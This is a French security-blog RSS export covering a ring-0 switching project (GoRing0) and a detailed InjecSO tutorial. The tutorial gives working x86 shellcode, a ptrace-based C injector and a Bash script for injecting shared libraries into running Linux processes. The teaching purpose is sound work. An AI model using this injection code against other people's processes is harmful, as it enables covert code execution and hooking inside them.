<p>Le principe de fonctionnement de GoRing0 repose sur les interruptions. Les fonctions GoRing0() et GoRing3() déclenchent une interruption spécifique qui est hookée par le driver et qui se charge de modifier la valeur de CS empilée automatiquement par le processeur. En effet il se trouve que le ring courant du processeur (le CPL) est encodé dans les 2 premiers bits de CS ainsi que dans le descripteur de segment (dans la GDT) auquel il correspond. Plus intéressant encore, Windows définit deux valeurs spéciales de CS : une en userland (0x1b), et une en kernelland (0&#215;8). Il suffit alors au handler d&rsquo;interruption de substituer la valeur empilée de CS par la valeur kernelland pour passer le thread en ring 0 au retour d&rsquo;interruption.</p>
<p>Pour le moment, j&rsquo;ai un prototype fonctionnel stable : j&rsquo;arrive à passer un thread en ring 0 et à le rebasculer en ring 3. Pour m&rsquo;en assurer, je peux afficher la mémoire kernel depuis ce thread (adresses supérieures à 0&#215;80000000 sous Windows). Cependant, lorsqu&rsquo;un thread est en ring 0, il est impossible d&rsquo;appeler des API Windows car celles-ci vérifient apparamment si le thread qui les appelle vient bien du ring 3. De même, il n&rsquo;est pas possible d&rsquo;appeler des fonctions du kernel depuis le thread même en ring 0, à moins d&rsquo;en connaître l&rsquo;adresse ou de la résoudre à l&rsquo;exécution.</p>
<h3>Nouvelle conférence à la Nuit Du Hack</h3>
<p>Enfin, j&rsquo;en viens à la véritable news de ce post&#8230; Au départ, je devais présenter une conférence sur XeeK et une autre sur InjecSO. Etant donné qu&rsquo;InjecSO est sorti depuis un moment maintenant (avec la doc sur ce blog), que je me suis lancé dans ce nouveau projet, et que cette année il n&rsquo;y a pour l&rsquo;instant aucune conférence orientée kernel, j&rsquo;ai pensé intéressant de remplacer la conférence sur InjecSO par une sur GoRing0. Je compte y présenter le projet et par la même occasion de présenter rapidement l&rsquo;architecture x86 et le développement en mode kernel aux débutants en la matière. Ceux pour qui les concepts d&rsquo;interruption, segments et autre GDT sont du chinois (autrement dit ceux qui n&rsquo;ont pas compris le paragraphe technique ci-dessus&#8230;) sont les bienvenus, je compte justement expliquer tout cela ! Ca sera de plus l&rsquo;occasion de releaser officiellement GoRing0 et de faire une petite démo. Sur ce, à la NDH !</p>
]]></content:encoded>
			<wfw:commentRss>https://www.segmentationfault.fr/projets/conference-ndh-2009-goring0/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Stage chez Thomson R&amp;D</title>
		<link>https://www.segmentationfault.fr/projets/stage-chez-thomson-rd/</link>
		<comments>https://www.segmentationfault.fr/projets/stage-chez-thomson-rd/#comments</comments>
		<pubDate>Wed, 25 Mar 2009 14:48:10 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Projets]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[ring 0]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=587</guid>
		<description><![CDATA[J&#8217;ai commencé mon stage il y a maintenant une dizaine de jours chez Thomson R&#38;D à Cesson-Sévigné. Comme prévu, mon stage a pour sujets principaux le reverse-engineering et le développement de drivers.  Pour être plus précis, le but du stage est de réaliser un conteneur sécurisé de données. Autrement dit, un module qui va contenir [...]]]></description>
			<content:encoded><![CDATA[<p>J&rsquo;ai commencé mon stage il y a maintenant une dizaine de jours chez Thomson R&amp;D à Cesson-Sévigné. Comme prévu, mon stage a pour sujets principaux le reverse-engineering et le développement de drivers.  Pour être plus précis, le but du stage est de réaliser un conteneur sécurisé de données. Autrement dit, un module qui va contenir des données très sensibles et dont le but va être de les rendre inaccessibles de l&rsquo;extérieur. Il s&rsquo;agit d&rsquo;un projet purement orienté recherche, et à part mon maître de stage, je suis seul à travailler dessus.<span id="more-587"></span></p>
<p>Au programme : plongeon dans les bas fonds de l&rsquo;architecture x86 d&rsquo;Intel, et plus précisément toutes les fonctionnalités de protection, dont certaines sont parfois méconnues (ou pas). Ce n&rsquo;est pas sans me rappeler certaines parties de mes cours de système suivis à l&rsquo;INSA et au RIT, mais avec une forte dose de concret en plus&#8230;</p>
<p>Cette fois-ci, une grosse partie du code s&rsquo;exécutera en mode noyau (ring 0), ce qui va me faire goûter aux joies de la programmation de drivers et des <em>Blue Screen Of Death</em> de Windows. D&rsquo;ailleurs au niveau de l&rsquo;OS, je travaille principalement Windows pour le moment, mais dans l&rsquo;idéal, le projet devrait aussi être porté sous Linux.</p>
<p>De plus, qui dit sécurité des données et confidentialité dit&#8230; cryptographie ! Le module que je vais développer devra intégrer des primitives de base permettant d&rsquo;encrypter les données sensibles et de les décrypter au moment voulu.</p>
<p>Enfin, ce stage va être l&rsquo;occasion pour moi de redécouvrir les techniques utilisées par les rootkits, principalement le hooking et la furtivité. Autant dire que je me sens comme un poisson dans l&rsquo;eau&#8230;</p>
<p>Bien entendu, ayant signé une charte de confidentialité, je ne pourrais pas divulguer tout ce que je fais dans les moindres détails, mais je compte bien publier ici quelques articles concernant des sujets ou projets du domaine public que mon stage m&rsquo;aura fait découvrir.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.segmentationfault.fr/projets/stage-chez-thomson-rd/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>InjecSO : Injection de .so sous Linux</title>
		<link>https://www.segmentationfault.fr/projets/injecso-injection-de-so-sous-linux/</link>
		<comments>https://www.segmentationfault.fr/projets/injecso-injection-de-so-sous-linux/#comments</comments>
		<pubDate>Sat, 14 Feb 2009 20:37:52 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Projets]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[hacking]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=521</guid>
		<description><![CDATA[L&#8217;injection de librairie dynamique est une technique principalement orientée reverse-engineering qui consiste à introduire et exécuter du code dans un processus actif du système d&#8217;exploitation. Le code en question s&#8217;exécute alors dans le contexte du processus cible, et peut accéder aux mêmes ressources. Attention, je parle bien d&#8217;injection dynamique, c&#8217;est à dire qu&#8217;elle peut avoir [...]]]></description>
			<content:encoded><![CDATA[<p>L&rsquo;injection de librairie dynamique est une technique principalement orientée reverse-engineering qui consiste à introduire et exécuter du code dans un processus actif du système d&rsquo;exploitation. Le code en question s&rsquo;exécute alors dans le contexte du processus cible, et peut accéder aux mêmes ressources. Attention, je parle bien d&rsquo;injection dynamique, c&rsquo;est à dire qu&rsquo;elle peut avoir lieu n&rsquo;importe quand après le lancement du processus, et non pas juste à son lancement comme avec la technique utilisant <code>LD_PRELOAD</code> (qui en plus ne fonctionne pas avec les programmes setuid).</p>
<p>Après avoir lu de nombreux articles sur l&rsquo;injection de DLL sous Windows, j&rsquo;ai commencé à en avoir assez à ne pas trouver d&rsquo;équivalent sous Linux.  Le peu d&rsquo;information que j&rsquo;ai trouvé pour Linux datent d&rsquo;au moins 5 ans, et se révèlent non adaptables aux distributions récentes. C&rsquo;est pourquoi je me suis lancé dans l&rsquo;idée de réaliser ce genre d&rsquo;outil moi même. Ainsi, après m&rsquo;être heurté à plusieurs obstacles, j&rsquo;ai finalement réussi à développer un outil fonctionnel : <strong>InjecSO</strong>. <span id="more-521"></span></p>
<p>Cet outil marche très bien sur ma machine qui est une Ubuntu 8.10, avec un noyau 2.6.27, sans outil de protection de la mémoire comme PaX (la technique utilisée ne marchera pas si la pile n&rsquo;est pas exécutable), et avec une Libc de version 2.8.90. Je n&rsquo;ai pas eu l&rsquo;occasion de tester sur d&rsquo;autres machines, mais je pense qu&rsquo;il devrait fonctionner aussi bien, les deux seuls obstacles étant l&rsquo;implémentation de la librairie standard et les éventuels patches appliqués au noyau.</p>
<h3>InjecSO in a nutshell</h3>
<p>Voyons dans un premier temps comment utiliser InjecSO dans un cas simple.</p>
<h4>Téléchargement</h4>
<p><a href="http://www.segmentationfault.fr/wp-content/uploads/2009/02/injecso-1-0tar.gz">Télécharger InjecSO au format tar.gz</a></p>
<h4>Présentation rapide</h4>
<p>InjecSO se présente sous la forme de deux outils.</p>
<ul>
<li><code>injecso</code> est le cœur du programme utilisé pour l&rsquo;injection de code. Il s&rsquo;agit d&rsquo;un programme écrit en C qui prend 3 arguments : le pid du processus cible, le chemin absolu de la librairie à injecter, et l&rsquo;adresse de la fonction <code>__libc_dlopen_mode()</code> dans l&rsquo;espace mémoire du processus cible. Cette dernière est une fonction spéciale de la libc qui rend l&rsquo;injection possible et est décrite précisément dans la deuxième partie de l&rsquo;article. Localiser cette adresse précise dans le processus cible est faisable mais rébarbatif ; c&rsquo;est pourquoi j&rsquo;ai développé un deuxième outil pour se faciliter la vie.</li>
<li><code>injecso.sh</code> est un script Bash qui a justement pour but de calculer cette adresse de façon automatique. Il ne prend donc que deux paramètres : le pid et le nom de la librairie à injecter. Il appelle automatiquement le programme précédent en lui fournissant le paramètre manquant. De plus, le chemin de la librairie peut être relatif car l&rsquo;outil calcule le chemin absolu automatiquement.</li>
</ul>
<p>J&rsquo;entends déjà des remarques venir :  «Pourquoi ne pas avoir tout intégré dans un seul programme ?». La réponse est simple : cela aurait été faisable, mais m&rsquo;aurait nécessité beaucoup plus de temps pour au final arriver au même résultat. Le calcul de l&rsquo;adresse nécessite d&rsquo;analyser la mémoire du processus et le code de la libc, et il se trouve qu&rsquo;il existe déjà des outils qui font cela très bien sous Linux. Ainsi, <code>injecso.sh</code> ne fait qu&rsquo;exploiter ces ressources pour calculer rapidement l&rsquo;adresse de la fonction voulue. Je suis conscient que cela a ses avantages et ses inconvénients ; en particulier, le script nécessite que vous ayez certaines dépendances d&rsquo;installées, dont <code>readelf</code> et <code>perl</code> (pour parser la sortie produite par ces outils). Je ne pense pas que cela soit une exigence trop forte, puisque ces outils sont en général présents sur beaucoup de systèmes, et sont au pire facilement installables surtout si votre distribution comprend un système de paquets.</p>
<h4>Compiler le programme</h4>
<p>Décompressez l&rsquo;archive et utilisez le Makefile pour compiler l&rsquo;exécutable :</p>
<pre>$ tar xzvf injecso-1.0tar.gz
$ make</pre>
<h4>Exemples d&rsquo;utilisation</h4>
<p>L&rsquo;outil est capable d&rsquo;injecter n&rsquo;importe quelle librairie dans n&rsquo;importe quel type de processus, pour peu que vous ayez les droits suffisants (n&rsquo;espérez pas injecter du code dans un processus appartenant à root si vous ne l&rsquo;êtes pas vous-même). Comme exemple, prenons un processus simple tel que l&rsquo;éditeur de texte <code>vi</code> et une librairie dynamique qui affiche &laquo;&nbsp;Hello World!&nbsp;&raquo; nommée <code>libhelloworld.so</code>. Voici le code de <code>libhelloworld.c</code> :</p>
<pre>#include &lt;stdlib.h&gt;
#include &lt;stdio.h&gt;

void __attribute__ ((constructor)) hello_world(void);

void hello_world(void){
  printf("Hello World!n");
}</pre>
<p>La directive <code>__attribute__ ((constructor))</code> indique au compilateur qu&rsquo;il devra ajouter cette fonction à la liste des fonctions à appeler au chargement de la libairie. Si vous êtes familier du monde Windows, c&rsquo;est plus ou moins l&rsquo;équivalent de la directive <code>DllMain()</code>. Compilez le code avec :</p>
<pre>$ gcc libhelloworld.c -o libhelloworld.so -shared -fPIC</pre>
<p>Vous pouvez placer cette librairie ou bon vous semble, le plus simple étant de la mettre dans le même dossier qu&rsquo;InjectSO. Lancez <code>vi</code>, récupérez son pid avec la commande <code>pidof vi</code> et lancez l&rsquo;injection !</p>
<pre>$ ./injecso.sh $(pidof vi) ./libhelloworld.so
[+] Found __libc_dlopen_mode at 0xb7e44210
[+] Launching: injecso 9796 libhelloworld.so 0xb7e44210
[+] Attaching...
[+] Waiting for process...
[+] Copying shellcode to 0xbfa0b02e...
[+] Setting eip and esp...
[+] Detaching...</pre>
<p>Regardez à présent la fenête où vous avez lancez <code>vi</code>&#8230; Vous devriez voir un petit <code>Hello World!</code> en haut de la console <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Vous pouvez aussi bien injecter votre librairie dans des plus gros processus comme par exemple Firefox — pour les applications graphiques, le message s&rsquo;affichera dans la console ayant l&rsquo;ancé le programme —, et complexifier votre librairie. Les possibilités n&rsquo;ont de limite que votre imagination : création d&rsquo;un client ou serveur, dump de la mémoire, log d&rsquo;événements, hooking de fonctions de la PLT&#8230; Notez que votre librairie peut à son tour appeler d&rsquo;autres librairies (dynamiques ou pas) sans aucun problème.</p>
<h4>Remarque concernant les threads</h4>
<p>Il est important de noter qu&rsquo;InjecSO ne crée aucun thread dans le processus cible. A la différence des outils d&rsquo;injection de code sous Windows qui effectuent un appel à <code>CreateRemoteThread()</code>, le code injecté est directement exécuté dans le contexte courant du processus, qui est sauvegardé avant l&rsquo;injection puis restauré. Si le code de votre librairie est gros ou effectue des opérations gourmandes en cycles CPU, le processus cible en sera ralenti. Cette remarque &lsquo;est particulièrement valable si votre librairie effectue des entrées/sorties disque ou réseau (si vous comptez coder un serveur&#8230;). C&rsquo;est pourquoi dans ces cas il est préférable de créer un nouveau thread, en utilisant par exemple la libairie <code>pthread</code>.</p>
<h3>Détails d&rsquo;implémentation</h3>
<p>Cette section décrit en détails comment InjecSO est implementé. Je commence par faire un tour d&rsquo;horizon des techniques utilisées, puis je détaille le code de l&rsquo;outil.</p>
<h4>ptrace() et dlopen()</h4>
<p>Il faut reconnaître que sous Linux, l&rsquo;attirail disponible pour injecter des librairies est très limité, en tout cas beaucoup plus que sous Windows. A vrai dire, il n&rsquo;y a tout simplement pas d&rsquo;appel de fonction tel que  <code>OpenProcess()</code> et <code>CreateRemoteThread()</code>, donc manipuler un processus devient beaucoup plus délicat. Le seul outil dont nous disposons est <code>ptrace()</code>.  Il s&rsquo;agit d&rsquo;un appel système qui est utilisé majoritairement pour le débogage de processus. Il est relativement simple à utiliser ; on commence par s&rsquo;attacher au processus à tracer, qui se bloque. On peut alors récupérer son état, ses registres et sa mémoire d&rsquo;un processus, et les modifier. Une fois les opérations de tracage terminées, on se détache, et le processus reprend son cours. Nous allons voir comment InjecSO utilise cet appel système par la suite ; en attendant je vous renvoie au manuel si vous voulez en savoir plus.</p>
<p>Pour charger une librairie dynamique sous Unix, on utilise la fonction <code>dlopen()</code> qui est plus ou moins l&rsquo;équivalent de <code>LoadLibraryA()</code> sous Windows. Cette fonction prend en paramètre le nom de la librairie à charger, ainsi qu&rsquo;un flag qui indique la manière dont doivent être résolus les symboles. Cela n&rsquo;a guère d&rsquo;importance pour notre application, aussi nous spécifierons arbitrairement que les symboles doivent tous être résolus au chargement.</p>
<h4>Un premier problème : dlopen()</h4>
<p>A première vue, <code>ptrace()</code> et <code>dlopen()</code> constituent de bonnes bases pour notre injection. Seulement, ce n&rsquo;est pas si simple : il se trouve que la fonction <code>dlopen()</code> n&rsquo;est pas une fonction standard, mais se situe dans une librairie séparée nommée <code>libdl</code>&#8230; qui n&rsquo;est pas toujours chargée par tous les processus. Autrement dit, un processus lambda ne possède pas forcément le moyen de charger une librairie dynamique, car la fonction qui permet de charger des librairies se trouve justement dans une librairie dynamique !</p>
<p>C&rsquo;est là qu&rsquo;on peut se dire «OK, mais alors comment fait un processus quand il veut charger une librairie ?». Réponse : c&rsquo;est le programmeur qui spécifie au moment de la compilation et de l&rsquo;édition des liens qu&rsquo;il vaut lier son programme avec <code>libdl</code> qui sera alors chargée à son lancement. Sauf que dans notre cas, nous ne sommes pas forcément le développeur du programme cible, et nous ne voulons de toute manière pas modifier le code du programme&#8230;</p>
<h4>La solution : __libc_dlopen_mode()</h4>
<p>En cherchant de la documentation sur les détails d&rsquo;implémentation de <code>dlopen()</code>, j&rsquo;ai finalement trouvé un papier datant de 2003 [1] qui explique que les fonctions de <code>libdl</code> sont pour la plupart des <em>stubs</em> qui appellent des fonctions qui se trouvent en réalité dans la libc. Rappelons que la libc est chargée dans quasiment tous les processus, donc cette découverte parraît très intéressante. Selon le papier, <code>dlopen()</code> appelle en fait <code>_dl_open()</code>. Après vérification, je me rend compte que ce n&rsquo;est pas/plus le cas, du moins sur ma machine. Mais il semblerait qu&rsquo;il y ait une fonction similaire avec un nom assez proche :  <code>__libc_dlopen_mode()</code>. Voici la mise en évidence en images :</p>
<pre>$ pidof bash
10712 9864 8911
$ cat /proc/10712/maps | grep libc
b7d61000-b7eb9000 r-xp 00000000 08:08 51577   /lib/tls/i686/cmov/libc-2.8.90.so
b7eb9000-b7ebb000 r--p 00158000 08:08 51577   /lib/tls/i686/cmov/libc-2.8.90.so
b7ebb000-b7ebc000 rw-p 0015a000 08:08 51577   /lib/tls/i686/cmov/libc-2.8.90.so
$ readelf -s -D /lib/tls/i686/cmov/libc-2.8.90.so | grep dlopen
 2188 744: 0011d210   156    FUNC GLOBAL DEFAULT  11 __libc_dlopen_mode
 2188 966: 0011d210   156    FUNC GLOBAL DEFAULT  11 __libc_dlopen_mode</pre>
<p>Dans un premier temps, on récupère les pid d&rsquo;un processus quelconque, ici Bash, on obtient le chemin complet de la libc (ici <code>/lib/tls/i686/cmov/libc-2.8.90.so</code>) et on utilise <code>readelf</code> pour afficher les symboles dynamiques de la librairie. Résultat : il y a bien une fonction qui a l&rsquo;air similaire à <code>dlopen()</code>.</p>
<p>Mais que fait cette fonction, et quel est son prototype ? Pour cela, le plus simple est de récupérer le code source de la librairie standard et de le parcourir. C&rsquo;est ce que j&rsquo;ai donc fait, et je suis finalement tombé sur cela :</p>
<pre>extern void *__libc_dlopen_mode  (__const char *__name, int __mode);</pre>
<p>Comparons cela au prototype original de <code>dlopen()</code> :</p>
<pre>void *dlopen(const char *filename, int flag);</pre>
<p>Hum&#8230; cela paraît très similaire, pour ne pas dire identique ! Je m&rsquo;empresse donc de coder un petit programme en C qui appelle cette fonction, et m&rsquo;aperçois alors que la libraire est bien chargée, comme avec <code>dlopen()</code> ! Super, nous pouvons donc nous contenter de cette fonction.</p>
<h4>Deuxième problème : randomization des adresses</h4>
<p>Ok, nous avons maintenant un nom de fonction pour charger la librairie. Cependant, pour pouvoir l&rsquo;appeler dans le processus cible, il nous faut son adresse. Comment l&rsquo;obtenir, sachant qu&rsquo;elle se trouve dans l&rsquo;espace mémoire du processus cible ? Nous savons que la fonction réside dans la libc ; pour déterminer son adresse nous pouvons utiliser le même programme que précédamment, <code>readelf</code>. Lors de notre dernière commande, cet outil nous a indiqué que la fonction se situe à l&rsquo;offset <code>0x0011d210</code> dans l&rsquo;image mémoire de la librairie. Comment obtenir l&rsquo;adresse globale à partir de cet offset ? Simplement en additionnant cet offset avec l&rsquo;adresse de base à laquelle est chargée la libc. Mais quelle est l&rsquo;adresse de base de la libc ? Observons le résultat de la commande <code>ldd</code> :</p>
<pre>$ ldd /bin/bash | grep libc
        libc.so.6 =&gt; /lib/tls/i686/cmov/libc.so.6 (0xb7ee4000)</pre>
<p>Nous utilisons cette commande sur Bash, et filtrons la sortie pour n&rsquo;afficher que ce qui nous intéresse. Notez que le chemin de la libc est ici différent de précédamment, mais cela n&rsquo;a pas d&rsquo;importance pour ce que je cherche à illustrer ici.  Ce qu&rsquo;il faut noter ici, c&rsquo;est que <code>ldd</code> nous affiche que la libc est chargée à l&rsquo;adresse <code>0xb7ee4000</code>. Mais il y a un léger hic&#8230; En effet, si on relance la même commande une deuxième fois&#8230;</p>
<pre>$ ldd /bin/bash | grep libc
        libc.so.6 =&gt; /lib/tls/i686/cmov/libc.so.6 (0xb7ef0000)</pre>
<p>Oups. L&rsquo;adresse a changée ! Pourquoi donc ? Parce que depuis relativement récamment (quelques années), Linux a introduit un système de randomization des adresses. Autrement dit, l&rsquo;adresse à laquelle une librairie est chargée n&rsquo;est pas constante et varie pour toutes les exécutions d&rsquo;un programme donné. Autant dire que cela ne va pas nous faciliter la tâche pour calculer l&rsquo;adresse de  <code>__libc_dlopen_mode()</code>&#8230;</p>
<h4>Solution : /proc/&lt;pid&gt;/maps</h4>
<p>Tout n&rsquo;est pas perdu. Linux possède un système de fichier virtuel, nommé <code>/proc/</code>, qui va nous permettre de nous en sortir. En effet, lorsqu&rsquo;un processus est créé, Linux crée un répertoire <code>/proc/&lt;pid&gt;/</code> (<code>&lt;pid</code>&gt; étant le nom du processus en question) contenant plein d&rsquo;informations. En particulier, le fichier <code>/proc/&lt;pid&gt;/maps</code> contient la liste de toutes les sections mappées mémoires dans l&rsquo;espace du processus. Voyons ce que nous pouvons obtenir&#8230;</p>
<pre>$ pidof bash
10712 9864 8911
$ cat /proc/10712/maps | grep libc
b7d61000-b7eb9000 r-xp 00000000 08:08 51577  /lib/tls/i686/cmov/libc-2.8.90.so
b7eb9000-b7ebb000 r--p 00158000 08:08 51577  /lib/tls/i686/cmov/libc-2.8.90.so
b7ebb000-b7ebc000 rw-p 0015a000 08:08 51577  /lib/tls/i686/cmov/libc-2.8.90.so</pre>
<p>On s&rsquo;aperçoit que la libc est mappée 3 fois dans l&rsquo;espace mémoire de Bash : une fois en lecture et exécution, une fois en lecture seule, et une fois en lecture et écriture. En ce qui nous concerne, nous souhaitons exécuter une fonction, donc nous avons intérêt à choisir la section exécutable. Son adresse est <code>0xb7d61000</code> ; ajoutons à cela l&rsquo;offset précédent (<code>0x0011d210</code>), et nous obtenons l&rsquo;adresse de <code>__libc_dlopen_mode()</code> ! Sa valeur n&rsquo;a pas d&rsquo;importance dans cet exemple car nous voulons juste un moyen de la calculer automatiquement pour n&rsquo;importe quel processus.</p>
<h3>Injecso.sh : calcul de l&rsquo;adresse</h3>
<p>Si nous rassemblons tout ce que nous venons de voir, nous savons désormais calculer l&rsquo;adresse de <code>__libc_dlopen_mode()</code> pour un processus donnée. Il ne reste plus qu&rsquo;à mettre tout cela dans un script ; c&rsquo;est le but d&rsquo;<code>injecso.sh</code>. Le script a volontairement été raccourci ici pour n&rsquo;afficher que les bouts intéressants.</p>
<pre>#!/bin/bash
# Param renaming
pid=$1
lib=$2</pre>
<p>Nous commençons par récupérer la ligne de <code>/proc/&lt;pid&gt;/maps</code> qui nous intéresse, et nous allons extraire d&rsquo;une part l&rsquo;adresse de base de la librairie, et son nom.</p>
<pre># Get the map of process and get the line
# that correspond to the executable section of libc
line=$(cat /proc/$pid/maps | grep "libcb" | grep r-x | head -n 1)</pre>
<pre># Extract the base address of that section and the name of the library
libc_baseaddr=$(echo "$line" | cut -d "-" -f1)                # first field
libc_name=$(echo "$line" | perl -n -e '/(S+$)/ &amp;&amp; print $1') # last field</pre>
<p>Nous utilisons ensuite <code>readelf </code>pour extraire l&rsquo;offset de <code>__libc_dlopen_mode()</code>.</p>
<pre># Use readelf to find the offset of __libc_dlopen_mode
dlopen_offset=$(readelf -s -D $libc_name | grep __libc_dlopen_mode |
  head -n 1 | perl -n -e '/^s*S+s+S+s+(S+)/ &amp;&amp; print $1') # 3rd field</pre>
<p>L&rsquo;adresse est obtenue en additionnant cet offset avec l&rsquo;adresse de base.</p>
<pre># Compute the actual addresses
dlopen_addr=$(expr $(printf "%d" 0x$libc_baseaddr) 
  + $(printf "%d" 0x$dlopen_offset))
dlopen_addr_hex=$(printf "0x%x" $dlopen_addr)

echo "[+] Found __libc_dlopen_mode at $dlopen_addr_hex"
echo "[+] Launching: injecso $pid $lib $dlopen_addr_hex"</pre>
<p>Il ne reste plus qu&rsquo;a passer les paramètres adéquats à notre injecteur.</p>
<pre># Launch InjecSO
$(dirname $0)/injecso $pid $(pwd)/$lib $dlopen_addr_hex</pre>
<p>Voila, nous venons de faire le tour du script. Plutôt simple, la difficulté majeure étant de parser la sortie des différents outils utilisés.</p>
<h4>Structure de l&rsquo;injection</h4>
<p>Bon, ce n&rsquo;est pas tout, mais nous n&rsquo;avons toujours pas vu comment se déroule l&rsquo;injection ! C&rsquo;est là que nous allons utiliser <code>ptrace()</code>&#8230; Comme je l&rsquo;ai dit précédemment, cet appel système permet de modifier la mémoire et les registres d&rsquo;un processus cible. Comment l&rsquo;utiliser à fin d&rsquo;injecter un appel à <code>__libc_dlopen_mode()</code> ? La solution la plus simple est d&rsquo;injecter un shellcode qui va réaliser l&rsquo;appel. Il y a plusieurs possibilités pour ce faire ; j&rsquo;ai choisi la plus simple c&rsquo;est à dire d&rsquo;injecter le shellcode dans la pile. Notez que cela requirt que la pile soit exécutable, ce qui n&rsquo;est pas toujours le cas.</p>
<p>De plus, il va nous falloir faire très attention car nous ne voulons pas crasher le processus cible. Comme notre shellcode sera susceptible de s&rsquo;exécuter n&rsquo;importe quand dans le processus, il doit rester &laquo;&nbsp;invisible&nbsp;&raquo;. Autrement dit, il faut que l&rsquo;état du processeur avant et après l&rsquo;exécution du shellcode soit &laquo;&nbsp;quasiment&nbsp;&raquo; le même. Pour cela, nous allons devoir sauvegarder les registres avant d&rsquo;exécuter la charge utile du shellcode, et les restaurer ensuite.</p>
<p>Là encore, il y a plusieurs solutions pour résoudre ce problème ; je vais détailler celle que j&rsquo;ai retenue pour injecSO. Voici un shema de la pile avant l&rsquo;appel au shellcode :</p>
<pre> |               |
 |               |
 |               |
 |               |
 |               |
 +---------------+
 |    donnees    | &lt;- esp
 |               |</pre>
<p>Dans ce schéma, les adresses croissent vers le bas, mais rappelez-vous que la pile croît en sens inverse. Au moment de l&rsquo;injection, nous allons effectuer les opérations suivantes en utilisant <code>ptrace()</code>:</p>
<ul>
<li>Sauvegarder l&rsquo;adresse de l&rsquo;instruction courante (contenue dans <code>eip</code>) sur la pile</li>
<li>Allouer le shellcode sur la pile</li>
<li>Faire pointer  <code>eip </code>et <code>esp</code> sur le shellcode</li>
</ul>
<p>Voici donc la pile après l&rsquo;injection :</p>
<pre> |               |
 +---------------+
 |   shellcode   | &lt;- eip, esp
 |               |
 |               |
 |               |
 +---------------+
 |  ancien eip   |
 +---------------+
 |    donnees    |
 |               |</pre>
<p>Pour que cela fonctionne, le shellcode devra avoir une structure particulière :</p>
<ul>
<li>Quelques <code>nops</code> afin de compenser un éventuel décalage dans les adresses.</li>
<li><code>pushal</code> afin de sauvegarder les registres sur la pile.</li>
<li>Charge utile du shellcode (en gros, <code>push</code> des arguments et <code>call</code><code> __libc_dlopen_mode</code> )</li>
<li><code>popal</code> pour restaurer les registres</li>
<li><code>addl $size, %esp</code> (<code>$size</code> étant la taille du shellcode) afin de repositionner <code>esp</code> sur l&rsquo;adresse de retour</li>
<li><code>ret</code> qui dépilera et restaurera l&rsquo;adresse de retour</li>
</ul>
<p>L&rsquo;injecteur va dans un premier temps générer le shellcode suivant ce modèle. Cependant, ce modèle est incomplet car le shellcode nécessite des paramètres qui ne seront connus qu&rsquo;à l&rsquo;exécution : l&rsquo;adresse de <code>__libc_dlopen_mode</code>, le nom de la librairie à injecter, ainsi que la taille du shellcode (comprenant le nom de la librairie). Ainsi, l&rsquo;injecteur va devoir compléter/patcher le shellcode à plusieurs endroits avant qu&rsquo;il soit fonctionnel.</p>
<h4>Le shellcode</h4>
<p>Voici le code du shellcode utilisé ; je pense que les commentaires sont assez explicites :</p>
<pre>  .text
  .globl shellcode_code
  .globl shellcode_code_end

shellcode_code:

  /* Some nops */
  nop
  nop
  nop
  nop
  nop
  nop
  nop

  /* Save all registers */
  pushal

  /* Get the name of the library into ebx */
  jmp       libname

call_dlopen:
  popl      %ebx

  /* 0x11111111 will be later replaced by
     the address of __lib_dlopen_mode */
  movl      $0x11111111, %eax
  pushl     $2      /* RTLD_NOW */
  pushl     %ebx    /* name of the library */
  call      *%eax   /* call __lib_dlopen_mode */

  /* Clean args on the stack */
  addl      $8, %esp

  /* Restore all registers */
  popal

  /* 0x12345678 will be later replaced by
     the size of the shellcode (+ delta) */
  addl      $0x12345678, %esp

  /* Return to where we were before */
  ret

libname:
  call call_dlopen
shellcode_code_end:
/*
 * End of shellcode
 * The string corresponding to the library name
 * will be put here later
 */</pre>
<p>Comme je le disais, le shellcode est encore incomplet. En particulier, il manque encore le nom de la librairie, qui sera ajouté à la fin. Pour récupérer son adresse relative, nous utilisons l&rsquo;astuce du <code>jmp/call</code>, assez célèbre. Concernant l&rsquo;adresse de  <code>__libc_dlopen_mode</code> et la taille du shellcode, nous laissons des offsets bidon pour le moment que nous allons patcher ensuite. Voila justement le début du code de l&rsquo;injecteur, qui a pour but d&rsquo;assembler/patcher le shellcode :</p>
<pre>int main(int argc, char **argv){
  char * shellcode;
  int shellcode_size, libname_size;
  char * ptr;
  int i;
  int pid;
  char * libname;
  int dlopen_addr;

  //Check parameters
  check_params(argc, argv, &amp;pid, &amp;libname, &amp;dlopen_addr);</pre>
<p>Ici, nous venons de récupérer les paramètres de l&rsquo;injecteur, c&rsquo;est à dire le pid, le nom de la librairie et l&rsquo;adresse de <code>__libc_dlopen_mode</code>. Je ne pense pas que cette fonction soit sufisamment intéressante et complexe pour être détaillée ici.</p>
<pre>  //Compute the size of the library name and deduce the shellcode size
  libname_size = strlen(libname);
  shellcode_size = (char *) shellcode_code_end - (char *) shellcode_code 
                   + libname_size + 1;

  //Allocate the shellcode buffer
  shellcode = malloc(shellcode_size);</pre>
<p>La copie du shellcode commence ici, puis le nom de la librairie y est ajouté.</p>
<pre>  //Copy the shellcode code into the buffer
  for(i = 0, ptr = (char *) shellcode_code;
      ptr != (char *) shellcode_code_end;
      ptr++, i++){
    shellcode[i] = *ptr;
  }

  //Copy the library name at the end of the shellcode
  for(ptr = libname; *ptr != 0; ptr++, i++){
    shellcode[i] = *ptr;
  }</pre>
<p>Maintenant, c&rsquo;est le moment de patcher le shellcode. Le début du shellcode ayant une taille fixe, nous connaissons précisément les offsets à patcher (il suffit d&rsquo;assembler le shellcode une première fois et de compter).</p>
<pre>  //Patch the shellcode by inserting the real address of __libc_dlopen_mode
  //(replace 0x11111111 by dlopen_addr)
  *((int *) &amp;(shellcode[12])) = dlopen_addr;

  //Patch the shellcode to include its own size
  *((int *) &amp;(shellcode[27])) = shellcode_size + DELTA_SHELLCODE_EIP_BAK;</pre>
